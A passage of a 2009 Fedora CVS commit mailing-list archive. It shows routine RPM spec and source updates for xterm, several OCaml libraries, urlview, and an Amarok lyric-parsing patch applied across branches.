+++ sources	8 Oct 2009 12:16:10 -0000	1.38
@@ -1,2 +1,2 @@
 6093439b8d79089f4ff1cdfed358b401  16colors.txt
-70771a21fbc54a79f68374cebb49935a  xterm-248.tgz
+d51ebabd8f2114911494310cdda38a12  xterm-249.tgz


Index: xterm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/devel/xterm.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- xterm.spec	29 Sep 2009 09:36:52 -0000	1.79
+++ xterm.spec	8 Oct 2009 12:16:10 -0000	1.80
@@ -1,7 +1,7 @@
 Summary: Terminal emulator for the X Window System
 Name: xterm
-Version: 248
-Release: 2%{?dist}
+Version: 249
+Release: 1%{?dist}
 URL: http://dickey.his.com/xterm
 License: MIT
 Group: User Interface/X
@@ -16,7 +16,6 @@ Source2: %{name}.desktop
 Patch1: xterm-245-resources.patch
 Patch2: xterm-222-can-2003-0063.patch
 Patch3: xterm-226-man-page_paths.patch
-Patch4: xterm-248-scrollup.patch
 
 %bcond_with trace
 
@@ -33,7 +32,6 @@ programs that can't use the window syste
 %patch1 -p1 -b .resources
 %patch2 -p1 -b .can-2003-0063
 %patch3 -p1 -b .man-page_paths
-%patch4 -p1 -b .scrollup
 
 %build
 %configure \
@@ -82,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %{x11_app_defaults_dir}/XTerm-color
 
 %changelog
+* Thu Oct 08 2009 Miroslav Lichvar <mlichvar at redhat.com> 249-1
+- update to 249
+
 * Tue Sep 29 2009 Miroslav Lichvar <mlichvar at redhat.com> 248-2
 - fix various bugs when display is scrolled up (#524503)
 


--- xterm-248-scrollup.patch DELETED ---



From rjones at fedoraproject.org  Thu Oct  8 12:17:06 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:17:06 +0000 (UTC)
Subject: rpms/ocaml-fileutils/devel .cvsignore, 1.2, 1.3 ocaml-fileutils.spec,
	1.9, 1.10 sources, 1.2, 1.3
Message-ID: <20091008121706.F2D0D11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-fileutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29974

Modified Files:
	.cvsignore ocaml-fileutils.spec sources 
Log Message:
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4.0-1
- New upstream version 0.4.0.
- Upstream build system has been rationalized, so remove all the
  hacks we were using.
- Upstream now contains tests, run them.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-fileutils/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 Feb 2008 18:40:38 -0000	1.2
+++ .cvsignore	8 Oct 2009 12:17:05 -0000	1.3
@@ -1 +1 @@
-ocaml-fileutils-0.3.0.tar.gz
+ocaml-fileutils-0.4.0.tar.gz


Index: ocaml-fileutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-fileutils/devel/ocaml-fileutils.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- ocaml-fileutils.spec	25 Jul 2009 19:56:44 -0000	1.9
+++ ocaml-fileutils.spec	8 Oct 2009 12:17:05 -0000	1.10
@@ -2,14 +2,14 @@
 %define debug_package %{nil}
 
 Name:           ocaml-fileutils
-Version:        0.3.0
-Release:        11%{?dist}
+Version:        0.4.0
+Release:        1%{?dist}
 Summary:        OCaml library for common file and filename operations
 
 Group:          Development/Libraries
 License:        LGPLv2 with exceptions
 URL:            http://www.gallu.homelinux.org/download/
-Source0:        http://www.gallu.homelinux.org/download/ocaml-fileutils-0.3.0.tar.gz
+Source0:        http://www.gallu.homelinux.org/download/ocaml-fileutils-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
@@ -46,29 +46,26 @@ developing applications that use %{name}
 
 %prep
 %setup -q
-# The whole build system for this package is totally broken.
-# We build into a temporary directory then copy the files
-# to the right place.
-./configure --prefix=%{_prefix} --libdir=%{_libdir} \
-  --enable-ocamlfind \
-  --with-builddir=`pwd`/tmp
+%configure
 
 
 %build
-# Nothing: 'make' builds and installs.  Stupid!
+make
 
 
 %install
-# Go and do your broken stuff now ...
-rm -rf tmp
-make
-# make doc   (borked)
-
-# ... and copy the files to the right places.
 rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/ocaml
-cp -r tmp/lib/fileutils $RPM_BUILD_ROOT%{_libdir}/ocaml
-rm -rf tmp
+export DESTDIR=$RPM_BUILD_ROOT
+export OCAMLFIND_DESTDIR=$RPM_BUILD_ROOT%{_libdir}/ocaml
+mkdir -p $OCAMLFIND_DESTDIR $OCAMLFIND_DESTDIR/stublibs
+
+# Set htmldir to current directory, then copy the docs (in api/)
+# as a %doc rule.
+make htmldir=. install
+
+
+%check
+make test
 
 
 %clean
@@ -81,20 +78,32 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/ocaml/fileutils
 %if %opt
 %exclude %{_libdir}/ocaml/fileutils/*.a
+%exclude %{_libdir}/ocaml/fileutils/*.cmx
 %exclude %{_libdir}/ocaml/fileutils/*.cmxa
 %endif
+%exclude %{_libdir}/ocaml/fileutils/*.ml
+%exclude %{_libdir}/ocaml/fileutils/*.mli
 
 
 %files devel
 %defattr(-,root,root,-)
-%doc COPYING AUTHOR CHANGELOG README TODO
+%doc COPYING AUTHOR CHANGELOG README TODO api
 %if %opt
 %{_libdir}/ocaml/fileutils/*.a
+%{_libdir}/ocaml/fileutils/*.cmx
 %{_libdir}/ocaml/fileutils/*.cmxa
 %endif
+%{_libdir}/ocaml/fileutils/*.ml
+%{_libdir}/ocaml/fileutils/*.mli
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4.0-1
+- New upstream version 0.4.0.
+- Upstream build system has been rationalized, so remove all the
+  hacks we were using.
+- Upstream now contains tests, run them.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.0-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-fileutils/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Feb 2008 18:40:38 -0000	1.2
+++ sources	8 Oct 2009 12:17:05 -0000	1.3
@@ -1 +1 @@
-a3c24bb6e928dc9deb8d8f7e30206057  ocaml-fileutils-0.3.0.tar.gz
+93437c0fe6fa0e02c30e87af6a0d4e14  ocaml-fileutils-0.4.0.tar.gz



From rjones at fedoraproject.org  Thu Oct  8 12:19:49 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:19:49 +0000 (UTC)
Subject: rpms/ocaml-json-static/devel .cvsignore, 1.2,
	1.3 ocaml-json-static.spec, 1.8, 1.9 sources, 1.2, 1.3
Message-ID: <20091008121949.5831611C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-json-static/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31108

Modified Files:
	.cvsignore ocaml-json-static.spec sources 
Log Message:
Version 0.9.8.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-json-static/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 May 2008 18:24:39 -0000	1.2
+++ .cvsignore	8 Oct 2009 12:19:49 -0000	1.3
@@ -1 +1 @@
-json-static-0.9.6.tar.bz2
+json-static-0.9.8.tar.bz2


Index: ocaml-json-static.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-json-static/devel/ocaml-json-static.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ocaml-json-static.spec	25 Jul 2009 19:57:44 -0000	1.8
+++ ocaml-json-static.spec	8 Oct 2009 12:19:49 -0000	1.9
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-json-static
-Version:        0.9.6
-Release:        10%{?dist}
+Version:        0.9.8
+Release:        1%{?dist}
 Summary:        OCaml JSON validator and converter (syntax extension)
 
 Group:          Development/Libraries
@@ -62,6 +62,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.9.8-1
+- New upstream version 0.9.8.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-json-static/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 May 2008 18:24:39 -0000	1.2
+++ sources	8 Oct 2009 12:19:49 -0000	1.3
@@ -1 +1 @@
-7ffc8c00353a6fc14fde490c4edeb1d0  json-static-0.9.6.tar.bz2
+a8b586a4c7851f5e34c28da60ebf8904  json-static-0.9.8.tar.bz2



From mlichvar at fedoraproject.org  Thu Oct  8 12:24:39 2009
From: mlichvar at fedoraproject.org (Miroslav Lichvar)
Date: Thu,  8 Oct 2009 12:24:39 +0000 (UTC)
Subject: rpms/xterm/F-12 .cvsignore, 1.37, 1.38 sources, 1.37,
	1.38 xterm.spec, 1.78, 1.79
Message-ID: <20091008122439.EED9311C00DB@cvs1.fedora.phx.redhat.com>

Author: mlichvar

Update of /cvs/pkgs/rpms/xterm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1174

Modified Files:
	.cvsignore sources xterm.spec 
Log Message:
- update to 249



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/F-12/.cvsignore,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- .cvsignore	17 Sep 2009 16:32:35 -0000	1.37
+++ .cvsignore	8 Oct 2009 12:24:39 -0000	1.38
@@ -1,2 +1,2 @@
 16colors.txt
-xterm-248.tgz
+xterm-249.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/F-12/sources,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- sources	17 Sep 2009 16:32:36 -0000	1.37
+++ sources	8 Oct 2009 12:24:39 -0000	1.38
@@ -1,2 +1,2 @@
 6093439b8d79089f4ff1cdfed358b401  16colors.txt
-70771a21fbc54a79f68374cebb49935a  xterm-248.tgz
+d51ebabd8f2114911494310cdda38a12  xterm-249.tgz


Index: xterm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/F-12/xterm.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- xterm.spec	17 Sep 2009 16:32:36 -0000	1.78
+++ xterm.spec	8 Oct 2009 12:24:39 -0000	1.79
@@ -1,6 +1,6 @@
 Summary: Terminal emulator for the X Window System
 Name: xterm
-Version: 248
+Version: 249
 Release: 1%{?dist}
 URL: http://dickey.his.com/xterm
 License: MIT
@@ -80,6 +80,12 @@ rm -rf $RPM_BUILD_ROOT
 %{x11_app_defaults_dir}/XTerm-color
 
 %changelog
+* Thu Oct 08 2009 Miroslav Lichvar <mlichvar at redhat.com> 249-1
+- update to 249
+
+* Tue Sep 29 2009 Miroslav Lichvar <mlichvar at redhat.com> 248-2
+- fix various bugs when display is scrolled up (#524503)
+
 * Thu Sep 17 2009 Miroslav Lichvar <mlichvar at redhat.com> 248-1
 - update to 248
 



From mlichvar at fedoraproject.org  Thu Oct  8 12:31:39 2009
From: mlichvar at fedoraproject.org (Miroslav Lichvar)
Date: Thu,  8 Oct 2009 12:31:39 +0000 (UTC)
Subject: rpms/urlview/F-12 urlview.spec,1.5,1.6
Message-ID: <20091008123139.A554C11C00DB@cvs1.fedora.phx.redhat.com>

Author: mlichvar

Update of /cvs/pkgs/rpms/urlview/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2576

Modified Files:
	urlview.spec 
Log Message:
- add man page link for urlview.conf (#526162)



Index: urlview.spec
===================================================================
RCS file: /cvs/pkgs/rpms/urlview/F-12/urlview.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- urlview.spec	27 Jul 2009 06:38:19 -0000	1.5
+++ urlview.spec	8 Oct 2009 12:31:39 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           urlview
 Version:        0.9
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        URL extractor/launcher
 
 Group:          Applications/Internet
@@ -33,10 +33,11 @@ make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT{%{_sysconfdir},%{_bindir},%{_mandir}/man1}
+mkdir -p $RPM_BUILD_ROOT{%{_sysconfdir},%{_bindir},%{_mandir}/man{1,5}}
 install -p -m644 urlview.conf.suse $RPM_BUILD_ROOT%{_sysconfdir}/urlview.conf
 install -p urlview url_handler.sh $RPM_BUILD_ROOT%{_bindir}
 install -p -m644 urlview.man $RPM_BUILD_ROOT%{_mandir}/man1/urlview.1
+echo '.so man1/urlview.1' > $RPM_BUILD_ROOT%{_mandir}/man5/urlview.conf.5
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -48,8 +49,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/urlview
 %{_bindir}/url_handler.sh
 %{_mandir}/man1/urlview.1*
+%{_mandir}/man5/urlview.conf.5*
 
 %changelog
+* Tue Sep 29 2009 Miroslav Lichvar <mlichvar at redhat.com> 0.9-7
+- add man page link for urlview.conf (#526162)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Thu Oct  8 12:40:34 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 12:40:34 +0000 (UTC)
Subject: rpms/amarok/F-12 lyric.patch,NONE,1.1 amarok.spec,1.169,1.170
Message-ID: <20091008124034.62D8E11C029B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4236/F-12

Modified Files:
	amarok.spec 
Added Files:
	lyric.patch 
Log Message:
* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-3
- upstream lyric.patch


lyric.patch:
 main.js |   18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

--- NEW FILE lyric.patch ---
diff --git a/src/scripts/lyrics_lyricwiki/main.js b/src/scripts/lyrics_lyricwiki/main.js
index 60150f9..5c75473 100644
--- a/src/scripts/lyrics_lyricwiki/main.js
+++ b/src/scripts/lyrics_lyricwiki/main.js
@@ -97,10 +97,26 @@ function onFinished( response )
                 return;
             }
             // parse the relevant part of the html source of the returned page
-            relevant = /<div[^<>]*['"]lyricbox['"][^<>]*>(.*)<\/div>/.exec(response)[1];
+            var pos = response.indexOf( "lyricbox" );
+            var startPos = response.indexOf( ">", pos ) + 1;
+            var endPos = response.indexOf( "</div>", startPos );
+            var otherDivPos = response.indexOf( "<div", startPos );
+            while ( otherDivPos != -1 && otherDivPos < endPos ) {
+                endPos = response.indexOf( "</div>", endPos + 1 );
+                otherDivPos = response.indexOf( "<div", otherDivPos + 1 );
+            }
+            var relevant = response.substring( startPos, endPos );
             // take care of a few special cases
             relevant = relevant.replace(/<br\s*\/?>/g, "\n") + "\n\n"; // convert <br> to \n
             relevant = relevant.replace( /&mdash;/g, "?" ); // not supported by QDomDocument
+            // strip adverts
+            pos = relevant.indexOf( "rtMatcher" );
+            while( pos != -1 ) {
+                startPos = relevant.lastIndexOf( "<div", pos );
+                endPos = relevant.indexOf( "</div>", pos );
+                relevant = relevant.substring( 0, startPos ) + relevant.substring( endPos + 6 );
+                pos = relevant.indexOf( "rtMatcher" );
+            }
             // construct a QDomDocument to convert special characters in the lyrics text. 
             doc2 = new QDomDocument();
             doc2.setContent( "<?xml version=\"1.0\" encoding=\"UTF-8\"?><lyrics>" + relevant + "</lyrics>" );


Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-12/amarok.spec,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- amarok.spec	2 Oct 2009 14:40:24 -0000	1.169
+++ amarok.spec	8 Oct 2009 12:40:34 -0000	1.170
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -12,6 +12,10 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Patch50: amarok-2.0.90-qtscript_not_required.patch
 
+## upstream patches
+# sigh, ride the lyric roller-coaster
+Patch100: lyric.patch
+
 BuildRequires: curl-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gettext
@@ -79,6 +83,7 @@ Obsoletes: amarok-utilities < 2.0.96
 %setup -q 
 
 %patch50 -p1 -b .qtscript_not_required
+%patch100 -p1 -b .lyric
 
 
 %build
@@ -170,6 +175,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-3
+- upstream lyric.patch
+
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
 - Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 



From rdieter at fedoraproject.org  Thu Oct  8 12:40:34 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 12:40:34 +0000 (UTC)
Subject: rpms/amarok/devel lyric.patch,NONE,1.1 amarok.spec,1.170,1.171
Message-ID: <20091008124034.7D10F11C0419@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4236/devel

Modified Files:
	amarok.spec 
Added Files:
	lyric.patch 
Log Message:
* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-3
- upstream lyric.patch


lyric.patch:
 main.js |   18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

--- NEW FILE lyric.patch ---
diff --git a/src/scripts/lyrics_lyricwiki/main.js b/src/scripts/lyrics_lyricwiki/main.js
index 60150f9..5c75473 100644
--- a/src/scripts/lyrics_lyricwiki/main.js
+++ b/src/scripts/lyrics_lyricwiki/main.js
@@ -97,10 +97,26 @@ function onFinished( response )
                 return;
             }
             // parse the relevant part of the html source of the returned page
-            relevant = /<div[^<>]*['"]lyricbox['"][^<>]*>(.*)<\/div>/.exec(response)[1];
+            var pos = response.indexOf( "lyricbox" );
+            var startPos = response.indexOf( ">", pos ) + 1;
+            var endPos = response.indexOf( "</div>", startPos );
+            var otherDivPos = response.indexOf( "<div", startPos );
+            while ( otherDivPos != -1 && otherDivPos < endPos ) {
+                endPos = response.indexOf( "</div>", endPos + 1 );
+                otherDivPos = response.indexOf( "<div", otherDivPos + 1 );
+            }
+            var relevant = response.substring( startPos, endPos );
             // take care of a few special cases
             relevant = relevant.replace(/<br\s*\/?>/g, "\n") + "\n\n"; // convert <br> to \n
             relevant = relevant.replace( /&mdash;/g, "?" ); // not supported by QDomDocument
+            // strip adverts
+            pos = relevant.indexOf( "rtMatcher" );
+            while( pos != -1 ) {
+                startPos = relevant.lastIndexOf( "<div", pos );
+                endPos = relevant.indexOf( "</div>", pos );
+                relevant = relevant.substring( 0, startPos ) + relevant.substring( endPos + 6 );
+                pos = relevant.indexOf( "rtMatcher" );
+            }
             // construct a QDomDocument to convert special characters in the lyrics text. 
             doc2 = new QDomDocument();
             doc2.setContent( "<?xml version=\"1.0\" encoding=\"UTF-8\"?><lyrics>" + relevant + "</lyrics>" );


Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/devel/amarok.spec,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- amarok.spec	2 Oct 2009 14:40:27 -0000	1.170
+++ amarok.spec	8 Oct 2009 12:40:34 -0000	1.171
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -12,6 +12,10 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Patch50: amarok-2.0.90-qtscript_not_required.patch
 
+## upstream patches
+# sigh, ride the lyric roller-coaster
+Patch100: lyric.patch
+
 BuildRequires: curl-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gettext
@@ -79,6 +83,7 @@ Obsoletes: amarok-utilities < 2.0.96
 %setup -q 
 
 %patch50 -p1 -b .qtscript_not_required
+%patch100 -p1 -b .lyric
 
 
 %build
@@ -170,6 +175,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-3
+- upstream lyric.patch
+
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
 - Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 



From rdieter at fedoraproject.org  Thu Oct  8 12:41:25 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 12:41:25 +0000 (UTC)
Subject: rpms/amarok/F-10 lyric.patch,NONE,1.1 amarok.spec,1.150,1.151
Message-ID: <20091008124125.5C65E11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4452/F-10

Modified Files:
	amarok.spec 
Added Files:
	lyric.patch 
Log Message:
sync w/devel (lyric.patch)


lyric.patch:
 main.js |   18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

--- NEW FILE lyric.patch ---
diff --git a/src/scripts/lyrics_lyricwiki/main.js b/src/scripts/lyrics_lyricwiki/main.js
index 60150f9..5c75473 100644
--- a/src/scripts/lyrics_lyricwiki/main.js
+++ b/src/scripts/lyrics_lyricwiki/main.js
@@ -97,10 +97,26 @@ function onFinished( response )
                 return;
             }
             // parse the relevant part of the html source of the returned page
-            relevant = /<div[^<>]*['"]lyricbox['"][^<>]*>(.*)<\/div>/.exec(response)[1];
+            var pos = response.indexOf( "lyricbox" );
+            var startPos = response.indexOf( ">", pos ) + 1;
+            var endPos = response.indexOf( "</div>", startPos );
+            var otherDivPos = response.indexOf( "<div", startPos );
+            while ( otherDivPos != -1 && otherDivPos < endPos ) {
+                endPos = response.indexOf( "</div>", endPos + 1 );
+                otherDivPos = response.indexOf( "<div", otherDivPos + 1 );
+            }
+            var relevant = response.substring( startPos, endPos );
             // take care of a few special cases
             relevant = relevant.replace(/<br\s*\/?>/g, "\n") + "\n\n"; // convert <br> to \n
             relevant = relevant.replace( /&mdash;/g, "?" ); // not supported by QDomDocument
+            // strip adverts
+            pos = relevant.indexOf( "rtMatcher" );
+            while( pos != -1 ) {
+                startPos = relevant.lastIndexOf( "<div", pos );
+                endPos = relevant.indexOf( "</div>", pos );
+                relevant = relevant.substring( 0, startPos ) + relevant.substring( endPos + 6 );
+                pos = relevant.indexOf( "rtMatcher" );
+            }
             // construct a QDomDocument to convert special characters in the lyrics text. 
             doc2 = new QDomDocument();
             doc2.setContent( "<?xml version=\"1.0\" encoding=\"UTF-8\"?><lyrics>" + relevant + "</lyrics>" );


Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-10/amarok.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- amarok.spec	2 Oct 2009 14:40:53 -0000	1.150
+++ amarok.spec	8 Oct 2009 12:41:25 -0000	1.151
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -12,6 +12,10 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Patch50: amarok-2.0.90-qtscript_not_required.patch
 
+## upstream patches
+# sigh, ride the lyric roller-coaster
+Patch100: lyric.patch
+
 BuildRequires: curl-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gettext
@@ -79,6 +83,7 @@ Obsoletes: amarok-utilities < 2.0.96
 %setup -q 
 
 %patch50 -p1 -b .qtscript_not_required
+%patch100 -p1 -b .lyric
 
 
 %build
@@ -170,6 +175,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-3
+- upstream lyric.patch
+
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
 - Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 



From rdieter at fedoraproject.org  Thu Oct  8 12:41:25 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 12:41:25 +0000 (UTC)
Subject: rpms/amarok/F-11 lyric.patch,NONE,1.1 amarok.spec,1.154,1.155
Message-ID: <20091008124125.84BB811C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4452/F-11

Modified Files:
	amarok.spec 
Added Files:
	lyric.patch 
Log Message:
sync w/devel (lyric.patch)


lyric.patch:
 main.js |   18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

--- NEW FILE lyric.patch ---
diff --git a/src/scripts/lyrics_lyricwiki/main.js b/src/scripts/lyrics_lyricwiki/main.js
index 60150f9..5c75473 100644
--- a/src/scripts/lyrics_lyricwiki/main.js
+++ b/src/scripts/lyrics_lyricwiki/main.js
@@ -97,10 +97,26 @@ function onFinished( response )
                 return;
             }
             // parse the relevant part of the html source of the returned page
-            relevant = /<div[^<>]*['"]lyricbox['"][^<>]*>(.*)<\/div>/.exec(response)[1];
+            var pos = response.indexOf( "lyricbox" );
+            var startPos = response.indexOf( ">", pos ) + 1;
+            var endPos = response.indexOf( "</div>", startPos );
+            var otherDivPos = response.indexOf( "<div", startPos );
+            while ( otherDivPos != -1 && otherDivPos < endPos ) {
+                endPos = response.indexOf( "</div>", endPos + 1 );
+                otherDivPos = response.indexOf( "<div", otherDivPos + 1 );
+            }
+            var relevant = response.substring( startPos, endPos );
             // take care of a few special cases
             relevant = relevant.replace(/<br\s*\/?>/g, "\n") + "\n\n"; // convert <br> to \n
             relevant = relevant.replace( /&mdash;/g, "?" ); // not supported by QDomDocument
+            // strip adverts
+            pos = relevant.indexOf( "rtMatcher" );
+            while( pos != -1 ) {
+                startPos = relevant.lastIndexOf( "<div", pos );
+                endPos = relevant.indexOf( "</div>", pos );
+                relevant = relevant.substring( 0, startPos ) + relevant.substring( endPos + 6 );
+                pos = relevant.indexOf( "rtMatcher" );
+            }
             // construct a QDomDocument to convert special characters in the lyrics text. 
             doc2 = new QDomDocument();
             doc2.setContent( "<?xml version=\"1.0\" encoding=\"UTF-8\"?><lyrics>" + relevant + "</lyrics>" );


Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-11/amarok.spec,v
retrieving revision 1.154
retrieving revision 1.155
diff -u -p -r1.154 -r1.155
--- amarok.spec	2 Oct 2009 14:40:53 -0000	1.154
+++ amarok.spec	8 Oct 2009 12:41:25 -0000	1.155
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -12,6 +12,10 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Patch50: amarok-2.0.90-qtscript_not_required.patch
 
+## upstream patches
+# sigh, ride the lyric roller-coaster
+Patch100: lyric.patch
+
 BuildRequires: curl-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gettext
@@ -79,6 +83,7 @@ Obsoletes: amarok-utilities < 2.0.96
 %setup -q 
 
 %patch50 -p1 -b .qtscript_not_required
+%patch100 -p1 -b .lyric
 
 
 %build
@@ -170,6 +175,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-3
+- upstream lyric.patch
+
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
 - Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 



From rjones at fedoraproject.org  Thu Oct  8 12:42:49 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:42:49 +0000 (UTC)
Subject: rpms/ocaml-lwt/devel .cvsignore, 1.2, 1.3 ocaml-lwt.spec, 1.7,
	1.8 sources, 1.2, 1.3
Message-ID: <20091008124249.A310711C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-lwt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4872

Modified Files:
	.cvsignore ocaml-lwt.spec sources 
Log Message:
- New upstream version 2.0.0+rc1.
- NB. This cannot be built as it depends on new package ocaml-react
  (RHBZ#527971).



Index: .cvsignore
===================================================================
